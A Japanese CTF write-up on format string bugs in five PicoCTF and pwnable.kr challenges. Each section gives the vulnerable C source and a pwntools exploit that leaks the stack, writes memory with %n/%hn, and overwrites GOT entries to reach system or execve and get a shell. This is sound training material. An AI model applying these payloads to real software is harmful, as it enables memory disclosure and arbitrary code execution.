Pwnable - 典型問題シリーズ
- Stack Overflow編
- ROP編
- Heap Exploit編
- FSB編 (本記事)
- その他編
目次
- PicoCTF: stonks
- PicoCTF: flag-leak
- PicoCTF: format-string-2
- PicoCTF: format-string-3
- pwnable.kr: fsb
stonks
x86-64では、7番目以降の引数はスタックに積まれている。printf
やscanf
は引数の数をチェックしないので、フォーマット文字列攻撃によってスタックの中身を盗むことができる。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
このプログラムには、buy_stonks
関数のscanf("%300s", user_buf);
に脆弱性があり、スタック内のapi_buf
を盗み見ることができる。
フラグの長さ自体は分からないので、スタックの該当していそうな範囲をすべて表示してみる。
なお、ここで%{i}$p
は、
%: フォーマット指定の開始を示す
i$: i番目の引数を指す
p: アドレスまたはポインタの値
を意味する。
from pwn import *
import binascii
# r = remote("pwnable.kr", 9004)
context.log_level = 'error'
decoded_str = b""
for i in range(0, 30):
# r = process('./a.out')
r = remote("mercury.picoctf.net", 20195)
r.recvuntil("2) View my portfolio")
r.sendline(b"1")
r.recvuntil("What is your API token?")
r.sendline(f"%{i}$p")
result = r.recvall()
leaked_str = str(result).split("\\n")[2]
try:
decoded_str += binascii.unhexlify(leaked_str[2:])[::-1]
except:
pass
print(decoded_str)
flag-leak
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <wchar.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char *buf, size_t len) {
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, len, f); // size bound read
}
void vuln() {
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
同様に、スタックの中身を表示するだけ
r = process("./vuln")
r.recvuntil(b"Tell me a story and then I'll tell you one >> ")
r.sendline(b"%x." * 50)
print(r.recvline())
leaked_str = r.recvline()
print(leaked_str)
decoded_str = b""
for p in str(leaked_str)[2:-4].split("."):
try:
decoded_str += binascii.unhexlify(p)[::-1]
except:
pass
print(decoded_str)
b'\x00\x91\xcf\xffts\xd3\xf7%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%ThisIsDUMMYF\x00.\xd3\xf7\xb4\x92\xcf\xff'
format-string-2
sus
を書き換えれば、フラグを表示させることができる。
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
まずsus
が格納されているアドレスを確認する。sus
のアドレスが0x404060であることが分かる。
objdump -sj .data vuln
vuln: file format elf64-x86-64
Contents of section .data:
404050 00000000 00000000 00000000 00000000 ................
404060 73757321 sus!
ユーザーの入力を表示する部分にフォーマット文字列攻撃に対する脆弱性があるので、これを用いてsus
の書き換えを目指す。
これまでに書き込まれた文字数を挿入する%n
を用いることになるが、今回書き込みたい0x67616c66=1734437990は大きすぎて遅いので、前半(0x6761=26465)と後半部分(0x6c66=27750)に分けて書き込む。
攻撃のために用いる入力は以下のような形式になる。
b"%{書き込みたい値の前半部分}%{前半部分の書き込み先のオフセット (8byte単位)}$hn%" +
b"%{書き込みたい値の後半部分 - これまでの長さ}%{後半部分の書き込み先のオフセット (8byte単位)}$hn%" +
b"8バイトごとに揃えるためのオフセット" + b"前半部分の書き込み先" + b"後半部分の書き込み先"
入力が書き込まれるbuf
がスタック上の何個目の引数に相当するかを確認する。
00000000004011f6 <main>:
4011f6: f3 0f 1e fa endbr64
4011fa: 55 push %rbp
4011fb: 48 89 e5 mov %rsp,%rbp
4011fe: 48 81 ec 50 04 00 00 sub $0x450,%rsp
401205: bf 08 20 40 00 mov $0x402008,%edi
40120a: e8 a1 fe ff ff call 4010b0 <puts@plt>
40120f: 48 8b 05 52 2e 00 00 mov 0x2e52(%rip),%rax # 404068 <stdout@GLIBC_2.2.5>
401216: 48 89 c7 mov %rax,%rdi
401219: e8 c2 fe ff ff call 4010e0 <fflush@plt>
40121e: 48 8d 85 f0 fb ff ff lea -0x410(%rbp),%rax
401225: 48 89 c6 mov %rax,%rsi
401228: bf 6e 20 40 00 mov $0x40206e,%edi
40122d: b8 00 00 00 00 mov $0x0,%eax
401232: e8 c9 fe ff ff call 401100 <__isoc99_scanf@plt>
401237: bf 75 20 40 00 mov $0x402075,%edi
40123c: b8 00 00 00 00 mov $0x0,%eax
401241: e8 7a fe ff ff call 4010c0 <printf@plt>
適当にscanf
の直後にブレークポイントを打ち、"AAAAAAAAAAAAAAA"を入力した後、スタックの中身を確認する。
RBP: 0x7fffffffdac0 --> 0x1
RSP: 0x7fffffffd670 --> 0x2
gdb-peda$ x/100 $rsp
0x7fffffffd670: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd678: 0x10 0xcb 0xfb 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd680: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd688: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd690: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd698: 0x60 0xc1 0xfb 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd6a0: 0x10 0xcb 0xfb 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd6a8: 0x60 0xc1 0xfb 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd6b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd6b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd6c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd6c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd6d0: 0x41 0x41 0x41 0x41
このことから、書き込み先のオフセットは二けたであると推定できる。
payload_ga = b"%26465c%00$hn" // 00はダミーオフセット
payload_lf = b"%1285c%00$hn" // 00はダミーオフセット
とおくと、payload_ga + payload_lf
の長さが25であることから、8バイト単位のアラインメントを考慮すると、オフセット18に前半部分のアドレス0x404060、オフセット19の位置に後半部分のアドレス0x404064を指定するれば良いことが分かる。
最終的な攻撃スクリプトは以下の通りとなる。
payload_ga = b"%26465c%18$hn"
payload_lf = b"%1285c%19$hn"
offset = b"A" * (8 - len(payload_ga + payload_lf) % 8)
payload = payload_ga + payload_lf + offset
payload += p64(0x404062)
payload += p64(0x404060) // リトルエンディアンなので、順番が逆になっている
r = process("./vuln")
print(r.recvuntil(b"?"))
#r.sendline(b"%x."*10000)
# r.sendline(b"%10c%13$hn%160c%12$hn" + b"a"*7 + pack(0x404060, 0x404064))
r.sendline(payload)
r.recvall()
format-string-3
printfにFSBに対する脆弱性があり、setvbufのアドレスが分かるので、それらを用いてputsのGOTアドレスをsystemのアドレスに書き換えることを目指す。
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
アドレスを書きこむ際、容量を圧縮するため、アドレスを2バイトづつ(hhn
)に分割して書き込む。例えば、0x0609761をオフセット46以降に書き込む際のフォーマット文字列は、
%96c%46$hn%55c%47$hn%202c%48$hn
# hex(96) = "0x60"
# hex(96 + 55) = "0x97"
# hex((96 + 55 + 202) % 256) = "0x61"
となる。
import sys
from pwn import *
from pwnlib.elf.elf import *
from pwnlib.fmtstr import *
def split_hex_string(hex_string):
if len(hex_string) % 2 != 0:
hex_string = '0' + hex_string
split_hex = ["0x" + hex_string[i:i+2] for i in range(2, len(hex_string), 2)]
return split_hex
def gen_payload(data, offset=10):
splitted_data = split_hex_string(str(hex(data)))
splitted_data = [int(s, base=16) for s in splitted_data]
payload = ""
cur_len = 0
for i, b in enumerate(splitted_data[::-1]):
db = b
if db < cur_len:
# 不足分は桁を上げることで対応
while db < cur_len:
db += 256
payload += f"%{db - cur_len}c%{offset + i}$hhn"
cur_len += db - cur_len
padding = "A" * (8 - len(payload) % 8)
return payload + padding, splitted_data
context.arch='amd64'
fs3 = ELF('./format-string-3')
got_puts = fs3.got['puts']
libc = ELF('./libc.so.6')
system_offset = libc.symbols['system']
setvbuf_offset = libc.symbols['setvbuf']
log.info(f'got_puts: {hex(got_puts)}')
log.info(f'system_offset: {hex(system_offset)}')
log.info(f'setvbuf_offset: {hex(setvbuf_offset)}')
r = process("./format-string-3")
# r = remote("rhea.picoctf.net", port=62421)
r.recvuntil(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")
res = r.recvline()
setvbuf_addr = int(res[:-1].decode(), base=16)
system_addr = (setvbuf_addr - setvbuf_offset) + system_offset
log.info(f'setvbuf_addr: {hex(setvbuf_addr)}')
log.info(f'system_addr: {hex(system_addr)}')
buf_offset = 38
dummy_len = len(gen_payload(system_addr, offset=10)[0])
payload, splitted_data = gen_payload(system_addr, offset=buf_offset + int(dummy_len / 8))
payload = payload.encode()
for i in range(len(splitted_data)):
payload += p64(got_puts + i)
log.info(f"payload:{payload}")
r.sendline(payload)
r.interactive()
fsb
pw == key
の比較を回避して、execve(args[0], args, 0);
を実行したい。そのために、4回実行することのできるprintf(buf);
を用いて、FSB攻撃を試みる。
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
fsb
を逆アセンブリした結果の一部は以下の通り。
# 脆弱性付近
80485f4: c7 44 24 04 00 a1 04 movl $0x804a100,0x4(%esp)
80485fb: 08
80485fc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048603: e8 d8 fd ff ff call 80483e0 <read@plt>
8048608: b8 00 a1 04 08 mov $0x804a100,%eax
804860d: 89 04 24 mov %eax,(%esp)
8048610: e8 db fd ff ff call 80483f0 <printf@plt>
8048615: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8048619: 83 7d e4 03 cmpl $0x3,-0x1c(%ebp)
# execve付近
804869f: c7 04 24 ae 88 04 08 movl $0x80488ae,(%esp)
80486a6: e8 65 fd ff ff call 8048410 <puts@plt>
80486ab: 8b 45 dc mov -0x24(%ebp),%eax
80486ae: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80486b5: 00
80486b6: 8d 55 dc lea -0x24(%ebp),%edx
80486b9: 89 54 24 04 mov %edx,0x4(%esp)
80486bd: 89 04 24 mov %eax,(%esp)
80486c0: e8 8b fd ff ff call 8048450 <execve@plt>
80486c5: b8 00 00 00 00 mov $0x0,%eax
方針としては、printf
のGOTアドレスを、execve
を呼んでいる箇所に書き換える。
printf
のGOTアドレスは0x804a004である。
gdb-peda$ disassemble printf
Dump of assembler code for function printf@plt:
0x080483f0 <+0>: jmp DWORD PTR ds:0x804a004
0x080483f6 <+6>: push 0x8
0x080483fb <+11>: jmp 0x80483d0
End of assembler dump.
gdb-peda$
この、0x804a004が指し示す先が0x804869fになるようにFSB攻撃を行う。
gdb-peda$ b *0x8048610
Breakpoint 1 at 0x8048610
gdb-peda$ r
Starting program: /mnt/c/Users/kanka/Desktop/Dev/CTFWriteUps/kr/fsb/fsb
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Give me some format strings(1)
a
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x804a100 --> 0xa61 ('a\n')
EBX: 0xffffcc60 --> 0x1
ECX: 0x804a100 --> 0xa61 ('a\n')
EDX: 0x64 ('d')
ESI: 0xffffcd14 --> 0xffffce58 --> 0x0
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffaba8 --> 0xffffcc48 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
EIP: 0x8048610 (<fsb+220>: call 0x80483f0 <printf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048603 <fsb+207>: call 0x80483e0 <read@plt>
0x8048608 <fsb+212>: mov eax,0x804a100
0x804860d <fsb+217>: mov DWORD PTR [esp],eax
=> 0x8048610 <fsb+220>: call 0x80483f0 <printf@plt>
0x8048615 <fsb+225>: add DWORD PTR [ebp-0x1c],0x1
0x8048619 <fsb+229>: cmp DWORD PTR [ebp-0x1c],0x3
0x804861d <fsb+233>: jle 0x80485d5 <fsb+161>
0x804861f <fsb+235>: mov DWORD PTR [esp],0x8048899
Guessed arguments:
arg[0]: 0x804a100 --> 0xa61 ('a\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
0004| 0xffffab64 --> 0x804a100 --> 0xa61 ('a\n')
0008| 0xffffab68 --> 0x64 ('d')
0012| 0xffffab6c --> 0x0
0016| 0xffffab70 --> 0x0
0020| 0xffffab74 --> 0x0
0024| 0xffffab78 --> 0x0
0028| 0xffffab7c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048610 in fsb ()
gdb-peda$ x/32x $esp
0xffffab60: 0x0804a100 0x0804a100 0x00000064 0x00000000
0xffffab70: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffab80: 0x00000000 0x08048870 0x00000000 0x00000000
0xffffab90: 0xffffcd84 0xffffdfc1 0xffffabb0 0xffffabb4
0xffffaba0: 0x00000000 0x00000000 0xffffcc48 0x08048791
0xffffabb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffabc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffabd0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ exit
オフセット14である0xffffabb0
がスタック内の別の個所(オフセット20)を指していることに注意する。
最終的な攻撃スクリプトは以下の通り。
./fsb >/dev/null
%134520836c%14$n # 14番目の引数である0xffffabb0に0x804a004=134520836cを書き込む
%134514335c%20$n # 0xffffabb0は20番目の引数である。0x804a004=134520836cが指し示す先に0x804869f=134514335cを書き込む
1>&2 whoami
root